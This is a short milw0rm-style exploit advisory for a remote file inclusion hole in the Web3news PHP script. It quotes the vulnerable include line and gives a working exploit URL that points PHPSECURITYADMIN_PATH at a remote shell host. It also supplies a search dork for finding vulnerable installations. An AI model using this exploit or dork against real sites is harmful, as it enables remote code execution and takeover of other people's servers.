Web3news <= 0.95 (PHPSECURITYADMIN_PATH) Remote Include Vuln

#============================================================================================== #Web3news &#60;= v0.95 (PHPSECURITYADMIN_PATH) Remote File Inclusion Exploit #=============================================================================================== # #Critical Level : Dangerous # #Venedor site : http://www.web3king.com/web3news # #Version : All Versions # #================================================================================================ #Bug in : security/include/_class.security.php # #Vlu Code : #-------------------------------- # &#60;? # include $PHPSECURITYADMIN_PATH.&#34;lang/&#34;.$lang.&#34;.lang.php&#34;; # # #================================================================================================ # #Exploit : #-------------------------------- # #http://sitename.com/[Script Path]/security/include/_class.security.php?PHPSECURITYADMIN_PATH=http://SHELLURL.COM? # #Example : http://www.web3king.com/web3news/ ======&#62; Vendor site # #DOrk : allinurl : /web3news/ #================================================================================================ #Discoverd By : SHiKaA # #Conatact : SHiKaA-[at]hotmail.com # #GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior ================================================================================================== # milw0rm.com [2006-08-28]